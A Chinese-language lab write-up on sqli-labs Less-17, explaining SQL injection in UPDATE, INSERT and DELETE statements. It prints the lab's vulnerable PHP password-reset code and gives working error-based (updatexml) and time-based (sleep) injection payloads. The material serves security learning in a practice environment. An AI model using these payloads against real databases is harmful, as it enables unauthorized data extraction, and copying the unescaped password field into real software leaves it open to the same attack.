由sqli-labs-Less17学习增删改形式下的sql注入
本篇原创作者: Rj45
前言
mysql在对数据的处理中有增删改查四个操作。而在sql注入中,往往常见的是 select
查询形式。那么insert、delete、update呢?
环境
在ubuntu下搭建docker和开源vulstudy项目(其内含sqli-labs环境)。
sudo apt-get update -y
sudo apt-get install docker.io -y
sudo apt-get docker-compose -y
sudo apt-get git -y
sudo groupadd docker
sudo gpasswd -a ${USER} docker
sudo service docker restart
git clone https://github.com/c0ny1/vulstudy.git
cd /vulstudy/sqli-labs
sudo docker-compose up -d
介绍
1、增
insert into table_name(column_name1,column_name2)values('value1','value2');
insert into table_name values('value1','value2');
insert into table_name set column_name1='value1',column_name2='value2';
2、删
delete from table_name where column_name='value';
3、改
update table_name set column_name1='value2' where column_name2='value2';
代码
sqli-labs-Less17代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."n");
fwrite($fp,'New Password:'.$passwd."n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
1、代码审计:使用check_input函数对输入数据进行过滤, 接着以用户名作为条件查询数据库, 当查询到数据库存在记录时,更新该密码。这是一个密码重置功能的代码。然而在对输入数据进行过滤的过程中,清洗了用户名,却没有清洗密码, 由此导致了sql注入。
2、check_input函数功能:截取输入的数据中前15个字符, 检测服务端是否开启 magic_quotes_gpc
转义,如果有则删除反斜杠, 检测字符串中是否都是数字字符,如果不存在则对特定添加反斜杠,同时以单引号闭合数据, 如果都是数字字符,则将其转化为整数。
3、函数解释:get_magic_quotes_gpc():
stripslashes():
ctype_digit():
mysql_real_escape_string():
intval():
addslashes():
注入
在注入点位置的报错注入与延时注入:没有数据回显联合注入取消,没有布尔回显布尔盲注取消
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
1、报错注入
uname=admin&passwd=') and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)#&submit=Submit
2、延时盲注
uname=admin&passwd=') and if((ord(left((select database()),1))=ascii('s')),sleep(1),0)#&submit=Submit
payload自行调整。
延伸
上述为update下的注入。由于update、insert和delete三者应用场景的特殊性, 一般不会有数据回显,故一般选取布尔注入和延时注入。1、insert下的注入:
布尔注入:
insert into Rj45(id,word)values(3,updatexml(1,(concat(0x7e,(select database()),0x7e)),1));
延时注入:
insert into Rj45(id,word)values(5,if((ord(left((select database()),1))=ascii('C')),sleep(5),0));
注意,当延时注入成功后,需要修改插入的id数据,防止出现主键唯一性冲突。2、delete下的注入:
布尔注入:
delete from Rj45 where id=0 and updatexml(1,(concat(0x7e,(select database()),0x7e)),1);
延时注入:
delete from Rj45 where id=3 and if((ord(left((select database()),1))=ascii('C')),sleep(5),0);
参考
1、mysql注入天书 2、php手册 https://www.php.net/manual/zh/
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 使用pytorch实现论文中的unet网络
- Python如何优雅删除字符列表空字符及None元素
- php语法检查的方法总结
- PHP实现浏览器格式化显示XML的方法示例
- Laravel框架基于中间件实现禁止未登录用户访问页面功能示例
- PHP的mysqli_stmt_init()函数讲解
- PHP内置函数生成随机数实例
- PHPStudy下如何为Apache安装SSL证书的方法步骤
- PHP的mysqli_thread_id()函数讲解
- thinkPHP框架中layer.js的封装与使用方法示例
- OpenCV+python实现实时目标检测功能
- 在tensorflow实现直接读取网络的参数(weight and bias)的值
- python tkiner实现 一个小小的图片翻页功能的示例代码
- 在Pytorch中使用Mask R-CNN进行实例分割操作
- PHP类的自动加载机制实现方法分析